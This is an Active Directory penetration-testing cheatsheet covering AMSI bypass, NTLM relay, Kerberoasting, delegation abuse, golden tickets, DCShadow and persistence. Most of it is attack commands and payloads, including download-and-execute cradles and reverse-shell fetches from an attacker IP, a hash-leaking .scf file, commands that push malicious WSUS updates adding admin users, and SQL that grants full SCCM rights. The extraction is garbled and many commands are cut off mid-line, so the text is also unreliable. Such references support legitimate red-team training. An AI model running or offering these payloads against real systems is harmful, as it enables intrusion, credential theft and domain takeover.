Ad 1690970174
Ad 1690970174
Ad 1690970174
This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and
labs, and other resources found on the web or through my experience. This was originally a private
page that I made public, so it is possible that I have copy/paste some parts from other places and I
forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.
I will try to put as many links as possible at the end of the page to direct to more complete
resources.
Misc
Internal audit mindmap
Insane mindmap by @M4yFly.
Bypass AMSI
#Downgrade PowerShell
powershell -v 2 -c "<...>"
#Classic
))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
#Base64
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]:
$field.SetValue($null,$true)
#On PowerShell 6
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPubli
Decipher Secure-String
With the corresponding AES key
$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46,
44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted
$ExecutionContext.SessionState.LanguageMode
pwsh
net.webclient).downloadstring('http://192.168.50.44/Invoke-HelloWorld.ps1')"
Port forwarding
We can contact a machine, and this one can contact another machine, but we can't contact the
second machine directly from our primary machine
On the "central" machine, all the hit on the port 80 or 4545 will be forward to the connectaddress
on the specified port :
#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
connectport=4545
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP
localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow
protocol=TCP localport=80
protocol=TCP localport=4545
protocol=TCP localport=4545
Initial Access
What to do when you are plugged on the network without creds.
NTLM authentication capture on the wire with Responder or Inveigh poisoning, maybe in
NTLMv1 ?
Relay the NTLM authentications to interesting endpoints, be careful to the signing
SMB socks to list/read/write the shares
LDAP to dump the directory
...
ARP poisoning with bettercap, can be used to poison ARP tables of targets and receive
authenticated requests normally destinated to other devices. Interesting scenarios can be
found here.
By sniffing everything on the wire with Wireshark, some secrets can be found with
PCredz.
net.probe on
events.ignore endpoint
events.ignore net.sniff.mdns
arp.spoof on
net.sniff on
Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets:
CVEs
AD oriented
SPNEGO RCE (CVE-2022-37958) - No public POC for the moment
PetitPotam pre-auth (CVE-2022-26925)
If the target is not patched, this CVE can be exploited without creds.
To exploit these vulnerabilities you need to already control a computer account or have the right
to create a new one.
#Scan for the vuln
#Load and execute a DLL hosted on a SMB server on the attacker machine
Zerologon (CVE-2020-1472)
The relay technique is preferable to the other one which is more risky and potentially destructive.
See in the link.
The exploits in the Metasploit framework are good for these two CVEs.
#EternalBlue
#Blue Keep
SMBGhost (CVE-2020-0796)
Be carefull, this exploit is pretty instable and the risk of BSOD is really important. The
exploit in the Metasploit framework is good for this CVE.
To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP
Roastable account is needed to obtain an ST for the target.
@('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-
CredentialRoamingTokens','msPKIRoamingTimestamp')
$malicious_hex =
"25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c69636
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] +
Verbose
To exploit this CVE, a controlled service account with constrained delegation to the target account
is needed.
/altservice:cifs/target.domain.local /nowrap
MS14-068
goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>
The exploits in the Metasploit framework are good for these three CVEs.
msf6 exploit(windows/http/exchange_proxynotshell_rce) >
KrbRelayUp
SpoolFool (CVE-2022-21999)
#In PowerShell
Import-Module .\SpoolFool.ps1
./SharpPrintNightmare.exe ./adUser.dll
HiveNightmare (CVE-2021-36934)
Domain Enumeration
Domain objects
Current domain
#PowerView
Get-NetDomain
#AD Module
Get-ADDomain
#Domain SID
Get-DomainSID
(Get-ADDomain).DomainSID
#Domain policy
(Get-DomainPolicy)."system access"
Another domain
#PowerView
#AD Module
Domain controller
Current domain
#PowerView
Get-NetDomainController
#AD Module
Get-ADDomainController
Users enumeration
List users
#PowerView
Get-NetUser
#AD Module
Get-ADUser -Filter * -Properties *
User's properties
#AD Module
select Name
name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
name,Description
User hunting
Find machine where the user has admin privs
Find-LocalAdminAccess -Verbose
Check local admin access for the current user where the
targets are found
Invoke-UserHunter -CheckAccess
Computers enumeration
#PowerView
Get-NetComputer
Get-NetComputer -FullData
#AD Module
select Name,OperatingSystem
$_.DNSHostName}
Groups enumeration
Groups in the current domain
#PowerView
Get-NetGroup
Get-NetGroup -FullData
#AD Module
Get-NetGroup *admin*
#AD Module
#AD Module
Shares / Files
Find shares on the domain
Invoke-ShareFinder -Verbose
Or with Snaffler
./Snaffler.exe -n computer1,computer2 -s
./Snaffler.exe -i C:\ -s
GPO enumeration
List of GPO in the domain
#PowerView
Get-NetGPO
#AD Module
#(Provides RSoP)
Organisation Units
OUs of the domain
Get-NetOU -FullData
Computers within an OU
Get-NetComputer | ? { $_.DistinguishedName -match "OU=<OU_name>" } | select DnsHostName
DACLs
All ACLs associated to an object (inbound)
Get-ObjectAcl -Identity user1 -ResolveGUIDs
Trusts
Map trusts
Invoke-MapDomainTrust
#AD Module
Get-ADTrust
Forest
Details about the current forest
#PowerView
Get-NetForest
#AD Module
Get-ADForest
Get-NetForestDomain
#AD Module
(Get-ADForest).Domains
Global catalogs of the current forest
#PowerView
Get-NetForestCatalog
#AD Module
Forest trusts
#PowerView
Get-NetForestTrust
#AD Module
BloodHound / SharpHound
Basic usage
# Default collection
SharpHound.exe
#Only collect from the DC, doesn't query the computers (more stealthy)
#Only collect user sessions and LocalGroup from computers, not the DC
SharpHound.exe --ExcludeDomainControllers
SharpHound.exe --EncryptZip
Loop collection
Useful for user session collection for example. SharpHound will run the collection regularly and
output a new zip file after each loop.
#Loop during 5h
SharpHound.exe -d domain.local
LAPS
Machine with LAPS enabled
Local Privesc
PowerUp
#All checks
Invoke-AllChecks
Get-UnquotedService -Verbose
#Get services where the current user can write to its binary path or change arguments to the
binary
Get-ModifiableServiceFile -Verbose
Get-ModifiableService -Verbose
#DLL Hijacking
Find-ProcessDLLHijack
Find-PathDLLHijack
.\beRoot.exe
.\winPEAS.exe
#Privesc: https://github.com/enjoiz/Privesc
Invoke-PrivEsc
KrbRelayUp
With RBCD
./KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount -ComputerName test$ -
ComputerPassword Password123!
With ShadowCreds
./KrbRelayUp.exe full -m shadowcred --ForceShadowCred
With ADCS
./KrbRelayUp.exe full -m adcs
Massive local privesc cheatsheet
PayloadAllTheThings
Escape JEA
Abuse an allowed function
#Look at allowed functions
Get-Command
(Get-Command <function>).Definition
#Or
Function creation
If the JEA allowed to create a new function it can be abused
net.webclient).downloadstring('http://attacker_IP/Invoke-HelloWorld.ps1')}}
import winrm
r = s.run_cmd('powershell -c "IEX((New-Object
System.Net.WebClient).DownloadString(\'http://attacker_IP/Invoke-HelloWorld.ps1\'))"')
print r.status_code
print r.std_out
print r.std_err
Local Persistence
SharPersist
SharPersist.exe can be used for local persistence on a workstation.
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
.\SharPersist.exe -t startupfolder -c
-f "UserEnvSetup" -m add
#Via registry key, first create a .exe beacon named updater.exe, then
-m add
LAPS persistence
To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.
admpwdexpirationtime"="232609935231523081"}
JEA persistence
Allows every commands to a user on a machine.
Lateral Movement
PowerShell remoting
From one computer to other ones
$sess = New-PSSession -ComputerName <computername>
#Provide PS credentials
Execute scripts
#Script block
#With arguments
DumpCreds
Item copy
Copy-Item -ToSession $sess -Path <local_path> -Destination <path_on_target>
#Creation
schtasks /create /S <target>.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck"
Net.WebClient).DownloadString(''http://<attacker_IP>/Invoke-PowerShellTcp.ps1''')'"
#Task execution
/domain:domain.local /sid:<domain_SID>
/service:krbtgt/domain.local
To decrypt the creds, the DPAPI master encryption key must be retrieved. The key GUID can be
retrieved with Mimikatz (the filed guidMasterKey is the one):
/in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob>"'
The GUID can be used to retrieve the key on the DC via a RPC call by providing the full path:
/in:C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<user_SID>\<key_GUID> /rpc"'
Lazagne
To retrieve maximum creds
./lazagne.exe all
Bypass RunAsPPL
Check if RunAsPPL is enabled in the registry.
Look at HKLM\SYSTEM\CurrentControlSet\Control\Lsa
mimikatz # privilege::debug
mimikatz # !+
mimikatz # misc::skeleton
mimikatz # !-
./PPLKiller.exe /installDriver
./PPLKiller.exe /disableLSAProtection
./PPLKiller.exe /uninstallDriver
NTLMv1
#Dump the LSASS process with Mimikatz for example
NTLMv2
In case where only NTLMv2 is allowed, it will not be possible to crack the NTLM hash, but it is
possible to pass the challenge and provide the response. It is possible to perform this attack with
this modified version of Impacket. First, as above:
Then, authenticate with an Impacket tool specifying CHALLENGE as password, provide the printed
challenge to PassTheChallenge , and send the computed response to Impacket:
psexec.py 'domain.local/user1:CHALLENGE@target.domain.local'
#Paste the response to the Impacket prompt (possible that multiple response are needed)
/ntlm:<nthash> /run:powershell.exe"'
#With Mimikat
/rc4:<nthash> /run:powershell.exe"'
/aes256:<aes_key> /run:powershell.exe"'
#With Rubeus
This can be bypassed with Mimikatz, by running a reverse shell in a Over-Pass-the-Hash from a
PSSession
Net.WebClient).DownloadString('http://<attacker_IP>/Invoke-HelloWorld.ps1'))"
/run:.\reverse.bat"'
In the new shell it is not possible to run an Enter-PSSession, but it is possible to create a
New-PSSession and run Invoke-Command into this new session
Token manipulation
Standard token impersonation
It is possible to use/impersonate tokens available on a machine
We can use Invoke-TokenManipulation from PowerSploit or Incognito (Meterpreter) for
token impersonation
Administrative privileges are required to adjust token privileges
List all tokens
Invoke-TokenManipulation -ShowAll
Invoke-TokenManipulation -Enumerate
#Token of a user
#Token of a process
Invoke-TokenManipulation -CreateProcess
./Impersonate.exe list
Server part
Koh.exe list
Koh.exe capture
Client part (only available as Cobalt Strike BOF for the moment)
koh list
ADIDNS poisoning
How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to
us
If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on
our listener, except if the WPAD configuration specifically blocks it.
Enable-ADIDNSNode -Node *
# disable a node
Disable-ADIDNSNode -Node *
# remove a node
Remove-ADIDNSNode -Node *
Resolve-DnsName NameThatDoesntExist
domain.local
Feature abuse
Jenkins
Go to http://<IP>/script
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
Without admin access : add a build step in the build configuration, add "Execute Windows Batch
Command" and powershell –c <command>
system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')"
#On Kali
#In Jenkins
SCCM
Client Push Accounts
With a compromised machine in an Active Directory where SCCM is deployed via Client Push
Accounts (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of
the Client Push Account, which generally has Administrator privileges on lots of assets. Full
explains here. To do it:
Remove all the local Administrators on the compromised machine : net user <username>
/delete
Listen with Inveigh : Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR
Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
Wait for the Client Push Accounts that will attempt to authenticate automatically
Hope for Net-NTLMv1, relay possibility or wathever
Get-SccmSession | Get-SccmComputer
"col"
"<powershell_script_in_B64>"
#Create an app deployment with the app and the collection previously created
#Force the machine in the collection to check the app update (and force the install)
If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script
instead of an app). PowerSCCM also permits to do it with this PR :
#With SharpDPAPI
.\SharpDPAPI.exe SCCM
#With Mimikatz
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm
'Password123!'
.\policysecretunobfuscate.exe <blob_hex_1>
.\policysecretunobfuscate.exe <blob_hex_2>
# targetting MS-SQL
# targeting SMB
# Coerce the primary site server authentication via Client Push Installation
"attacker.domain.local"
With a MSSQL socks open, the following SQL query can be executed to grant full privileges to the
controlled user on the SCCM primary site:
use CM_<site_code>
--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
(AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite)
VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');
--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full
(<AdminID>,'SMS0001R','SMS00ALL','29');
(<AdminID>,'SMS0001R','SMS00001','1');
(<AdminID>,'SMS0001R','SMS00004','1');
Post exploitation via SCCM can now be performed on the network.
WSUS
Push an evil update on the computers : SharpWSUS explains
./SharpWSUS locate
#Enumerate the contents of the WSUS server to determine which machines to target
./SharpWSUS.exe inspect
user user1 Password123! /add && net localgroup administrators user1 /add\"" /title:"EvilWSUS"
#Create a WSUS group, add the target machine to the WSUS group and approve the malicious
Group"
#Wait for the client to download the patch, not possible to control
Group"
Spoof the WSUS server and hijack the update if the updates are pushed through HTTP
and not HTTPS
command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup
net.probe on
events.ignore endpoint
events.ignore net.sniff
any.proxy on
arp.spoof on
net.sniff on
Now wait for update verification or manually trigger with a GUI access on the machine
Domain Privesc
Kerberoast
Find users with SPN
#PowerView
Get-NetUser -SPN
#ActiveDirectory module
Request TGS
Add-Type -AssemblyName System.IdentityModel
"SPN/<target>.domain.local"
Rubeus
Rubeus can be used to perform all the attack, with more or less opsec
.\Rubeus.exe kerberoast
#Kerberoast with RC4 downgrade even if the targets are AES enabled
/nopreauth:"user_w/o_preauth" /spn:users.txt
With MitM
If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ
requests on the wire (with ARP spoofing for example), and replay them to kerberoast.
WARNING : RoastInTheMiddle.exe is only a PoC for the moment, be carefull with it in prod
environment !
/targets:<target_IP_1>,<target_IP_2> /dcs:<DC_IP_1>,<DC_IP_2>
AS-REP Roasting
Enumerate users
#UPowerView:
#AD module:
Request AS-REP
.\Rubeus.exe asreproast /user:<target> /domain:domain.local /creduser:domain.local\user1
/credpassword:"Password123!" /format:hashcat
DACLs attacks
ACLs packages
Owns object
WriteDacl
GenericAll
GenericWrite
AllExtendedRights
WriteOwner
GenericWrite
Self
WriteProperty
AllExtendedRights
User-Force-Change-Password
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
On any objects
WriteOwner
With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account
and then change our ACLs against it
WriteDacl
With this rights we can modify our ACLs against the target, and give us GenericAll for example
In case where you have the right against a container or an OU, it is possible to setup the
Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if
the object has AdminCount=1 )
$Guids = Get-DomainGUIDMap
ExpandProperty name
InheritedObjectType $AllObjectsPropertyGuid
$dsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
On an user
WriteProperty
ShadowCredentials
Logon Script
#PowerView
#AD module
"\\ATTACKER_IP\rev.exe"
Targeted Kerberoasting
We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".
"ops/whatever1"
#From PowerView
Request-SPNTicket
User-Force-Change-Password
With enough permissions on a user, we can change his password
On a computer
WriteProperty
ShadowCredentials
/path:C:\path\to\file.pfx /password:Password123!
Kerberos RBCD
AllExtendedRights
ReadLAPSPassword
# With PowerView
AdmPwdExpirationTime
ReadGMSAPassword
On a RODC
GenericWrite
Obtain local admin access
Change the managedBy attribute value and add a controlled user. He will automatically gain admin
rights.
'CN=Administrator,CN=Users,DC=domain,DC=local')}
WriteProperty
WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to
modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket.
'CN=Administrator,CN=Users,DC=domain,DC=local')}
On a group
WriteProperty/AllExtendedRights/GenericWrite Self
With one of this rights we can add a new member to the group
# With PowerView
On GPO
WriteProperty on a GPO
We can create an "evil" GPO with a scheduled task for example
#With PowerView
#With SharpGPOAbuse
After GPO refresh on the OU's machines, when the machines will restart the payload will be
executed
On the domain/forest
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
We can DCSync
DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-
Set
Import-Module ./DirSync.psm1
Sync-LAPS
Account Operators
The members of this group can add and modify all the non admin users and groups. Since LAPS
ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them,
and read the LAPS admin password. They also can manage the Server Operators group
members which can authenticate on the DC.
"domain.local"
"domain.local"
AdmPwdExpirationTime
DnsAdmins
It is possible for the members of the DNSAdmins group to load arbitrary DLL with the
privileges of dns.exe (SYSTEM).
In case the DC also serves as DNS, this will provide us escalation to DA.
Need privileges to restart the DNS service.
#With dnscmd.exe
$dnsettings.ServerLevelPluginDll = "\\<attacker_IP>\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <target> -Verbose
Restart DNS
sc \\<target> stop dns
Schema Admins
These group members can change the "schema" of the AD. It means they can change the ACLs on
the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only
the futur group will be affected, not the ones that are already present.
'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPC
$creds
When a new group is created we can add any user to it with the user who has full rights
Backup Operators
Can normally log in on any machines of the domain.
To backup a folder :
begin backupX
createX
end backupX
createx
resetx
Import-Module .\SeBackupPrivilegeUtils.dll
'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'
\\<attacker_IP>\share
Found the interesting GPO with Get-NetGPO . For example Default Domain Policy in the
Domain Controller policy
Get the file at the path \\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-
11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf and add
whatever you want in it
Write the file with robocopy:
Key Admins
Members of this group can perform Shadow Credentials attacks against any objects, including the
domain controllers.
AD Recycle Bin
Members of this group can recover deleted objects from the Active Directory, just like in a recycle
bin for files, when the feature is enabled. These objects can sometimes have interesting
properties.
Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -
includeDeletedObjects -property *
Restore an object
Get-ADObject -Filter {displayName -eq "user1"} IncludeDeletedObjects | Restore-ADObject
Responder / Inveigh
Change the authentication challenge to 1122334455667788 in the Responder conf file in order to
obtain an easily crackable hash if NTLMv1 is used.
# Inveigh with *
-Proxy Y
Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):
Leak Files
With write rights on a SMB share, it is possible to drop a .scf file with the following content to
grab some user hashes:
[Shell]
Command=2
IconFile=\<attacker_IP>\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
MITM6
Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos
Relay attacks. Here for an NTLM relay:
#PrinterBug
#ShadowCoerce
#DFSCoerce
MSSQL Coerce
Everything is explained here.
PrivExchange
Coerce Exchange server authentication via PushSubscription (now patched):
WebClient Service
If this service runs on the target machine, a SMB authentication can be switched into an HTTP
authentication (really useful for NTLM relay).
GetWebDAVStatus.exe 'machine_ip'
webclientservicescanner domain.local/user1:password@10.10.10.0/24
If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction,
the attacker machine must be specified with a valid NETBIOS name and not its IP. the FQDN can
be obtained with Responder in Analyze mode.
responder -I interface_to_use -A
ntlmrelayx
If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if NTLMv2
is vulnerable to CVE-2019-1040, --remove-mic can be used.
Enumeration
#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
SOCKS
Creds dump
ntlmrelayx.py smb://target
ntlmrelayx.py dcsync://dc
Privesc
Kerberos Delegation
#Create a new computer account through LDAP with StartTLS and enabled RBCD
--no-da --no-acl
Shadow Credentials
#Attempts to open a socks and write loot likes dumps into a file
krbrelayx
To relay authentication from a mitm6 DNS spoofing to ADCS:
Unconstrained Delegation: the first hop server can request access to any service on
any computer
Constrained Delegation: the first hop server has a list of service it can request
Unconstrained delegation
Compromised machine in Unconstrained Delegation
Enumerate computers with Unconstrained Delegation
Get-NetComputer -UnConstrained
#With AD Module
After compromising the computer with UD enabled, we can trick or wait for an admin connection
#If yes
#PrinterBug
#PetitPotam
Since the principal is in Unconstrained Delegation, when the machine account will send the ST
to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS
record, we can retrieve the TGS, decipher the ciphered part with the user password (the SPN is
setup on the user, so the TGS is ciphered with his password), and retrieve the TGT.
domain.local
#Run krbrelayx with the hash of the password setup on the UD user
Constrained delegation
In this situation, the computer in delegation has a list of services where it can delegate an
authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs
to which the user tokens can be forwarded. No ticket is stored in LSASS.
To impersonate the user, Service for User (S4U) extension is used which provides two extensions:
Service for User to Self (S4U2self) - Allows a service to obtain a forwardable TGS to itself
on behalf of a user with just the user principal name without supplying a password. The
service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION –
T2A4D UserAccountControl attribute.
Service for User to Proxy (S4U2proxy) - Allows a service to obtain a TGS to a second
service on behalf of a user.
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#AD Module
AllowedToDelegateTo
Request a ticket for multiple services on the target, for another user (S4U)
.\Rubeus.exe s4u /user:user1 /rc4:<hash> /impersonateuser:Administrator
If we have a session as the user, we can just run .\Rubeus.exe tgtdeleg /nowrap to get the TGT in
Base64, then run:
With RBCD, this is the resource machine (the machine that receives delegation) which has a list of
services that can delegate to it. This list is specified in the attribute
msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really
usefull in NTLM relay attack scenario).
Requirements
The DC has to be at least a Windows Server 2012
Domain users can create some machines, ms-ds-machineaccountquota must not being to 0
#To verify
#Verify property
allowedtoactonbehalfofotheridentity
/msdsspn:host/ServiceB.domain.local /domain:domain.local
/altservice:cifs,host,http,winrm,RPCSS,wsman /ptt
Import-Module Powermad.ps1
Import-Module PowerView.ps1
$SecPassword)
#Check requirements
allowedtoactonbehalfofotheridentity
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SD.GetBinaryForm($SDBytes, 0)
0).DiscretionaryAcl
Use the S4USelf function with the fake machine (on an arbitrary SPN) to create a
forwardable ticket for a wanted user (not protected)
Use the S4UProxy function to obtain a TGS for the impersonated user for the wanted
service on the target machine
#Calcul hash
#S4U attack
/dc:DC.domain.local
Skip S4USelf
Attacker has compromised Service A, has sufficient ACLs against Service B to configure
RBCD, and wants to attack Service B
By social engineering or any other solution, an interesting victim authenticates to Service
A with a TGS
Attacker dumps the TGS on Service A ( sekurlsa::tickets )
Attacker configures RBCD from Service A to Service B as above
Attacker performs S4UProxy and bypass S4USelf by providing the TGS as evidence
Reflective RBCD
With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to
itself, a run a full S4U to access the machine on behalf of another user.
With the target TGT it is possible to realise a S4USelf request for any user and obtain a TGS for the
service. In case where the needed user is protected against delegation, S4USelf will still work, but
the TGS is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however,
the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a
valid TGS for the target service with a sensitive user (and the TGS PAC is well signed by the KDC).
#RBCD from A to B
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$
/dc:DC.domain.local /ptt
Configure the machine account to trust the user account you control (NTLM Relay, with
the machine account's creds,...)
Obtain a TGT for the user via pass-the-hash:
Request a Service Ticket via U2U (S4USelf request) with the previous TGT specified in
/tgs: (additional ticket added to the request body identifying the target user account)
and /ticket: (authentication). If U2U is not used, the KDC cannot find the account's LT
key when a UPN is specified instead of a SPN. The account to impersonate via the futur
S4U request is also present:
print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())
Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT
session key. The ST sent in the S4UProxy is encrypted with the session key, but the KDC
will try to decipher it with the user's long term key, this is why the LT key must be equal
to the session key (WARNING !!! The user's password is now equal to an unknown
value, you have to use a sacrificial account to realise this attack). Everything is
explained here.
smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'Password123!'@'DC'
Realize the S4UProxy request with the previous S4USelf U2U ticket (ciphered with the
session key) as additional ticket and the original TGT as ticket:
Create a DNS record in order to be able to leak the NTLM hash externally
Use the xp_dirtree (or xp_fileexist ) function to the created DNS record on @80 . This
will force the authentication and leak the hash
Relay the machine hash to the LDAP server to add a controlled account (with a SPN for
the further S4USelf request) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the target
machine
Now we can ask a TGS for a user we want to impersonate for a service on the machine
domain.local
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
/groups:512 /nowrap
Golden ticket
Retrieve the krbtgt hash
From the DC by dumping LSA
With a DCSync
Create TGT
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local
/renewmax:10080 /ptt"'
/domain:domain.local /sid:<domain_SID>
Silver ticket
Create TGS
/rc4 take the service account (generally the machine account) hash
Requesting a TGS with a valid TGT can be performed with Rubeus like this :
GoldenGMSA
With the KDS root key and some information about the gMSA account (that can be retrieved with
low privileges), it is possible to compute the gMSA's password.
./GoldenGMSA.exe kdsinfo
./GoldenGMSA.exe gmsainfo
#A specific one in a specific domain
ManagedPasswordID_value>
The output is in Base64 and the password is generally not readable. It is possible to calcul the NT
hash from it instead:
import base64
import hashlib
b64 = "<base64_password>"
print(hashlib.new("md4", base64.b64decode(b64)).hexdigest())
Skeleton key
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc.domain.local
Now, it is possible to access any machine with a valid username and password as "mimikatz".
DSRM
DSRM is Directory Services Restore Mode
The local administrator on every DC can authenticate with the DSRM password
It is possible to pass the hash of this user to access the DC after modifying the DC
configuration
Enter-PSSession -Computername dc
Custom SSP
SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM,
WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the
passwords of the users that authenticate on the machine.
$packages += "mimilib"
$packages
DACLs - AdminSDHolder
AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of
ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every
hour.
Attack
With write privs on the AdminSDHolder object, it can be used for persistence by adding a
user with Full Permissions to the AdminSDHolder object for example.
When the automatic script will run, the user will be added with Full Control to the AC of
groups like Domain Admins.
#PowerView
All -Verbose
#AD Module
-Verbose
#Pre-Server 2008
'user1'}
#AD Module
WMI
#On local machine
#On remote machine with explicit credentials. Only root\cimv2 and nested namespaces
'root\cimv2' -Verbose
Verbose
PowerShell Remoting
#On local machine
Remote Registry
With the scripts from DAMP-master. Permits to realize some actions like credentials dump via the
registry.
Cross-Trust Movement
Child to parent domain - SID History
Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the
SID of the Enterprise Admins group in the SID history field.
#OR
/target:parentDomain.local /ticket:trust.kirbi"'
ls \\dc.parentDomain.local\c$
#Or classicaly
/dc:dc.parentDomain.local /ptt
ls \\dc.parentDomain.local\c$
To avoid some suspicious logs, use multiple values can be added in SID History :
/krbtgt:<krbtgt_hash> /ptt"'
/domain:parentDomain.local"'
Across forest
Get the Trust Key
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
#Or
"foreignSecurityPrincipal"}
/target:targetDomain.local /ticket:trust_forest.kirbi"'
ls \\dc.targetDomain.local\C$\
#Or classicaly
/dc:dc.targetDomain.local /ptt
ls \\dc.targetDomain.local\C$\
These users can access the production forest through the trust with classic workflow (PSRemoting,
RDP, etc), or with SIDHistory injection since SIDFiltering is disabled in a PAM Trust.
A trust attribute of 1096 is for PAM ( 0x00000400 ) + External Trust ( 0x00000040 ) + Forest Transitive
( 0x00000008 ).
MSSQL server
Everything is here. (Not for the moment, refactor in progress)
One to start RPC servers with SYSTEM privileges and specify attributes to be modified
#With Mimikatz
!+
!processtoken
/value=<value_to_set>
And second with enough privileges (DA or otherwise) to push the values :
Minimal permissions
DCShadow can be used with minimal permissions (and this) by modifying ACLs of :
To use DCShadow as user user1 to modify user2 object from machine machine-user1
Now, the second mimkatz instance (which runs as DA) is not required.
Modify primaryGroupID
lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519
(New-Object
System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=local")).psbas
Get the SID of our user and append it at the end of the ACLs. Then launch DCShadow like this :
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local
Shadowception
We can even run DCShadow from DCShadow, which is Shadowception (and still this).
We need to append following ACEs with our user's SID at the end:
(New-Object
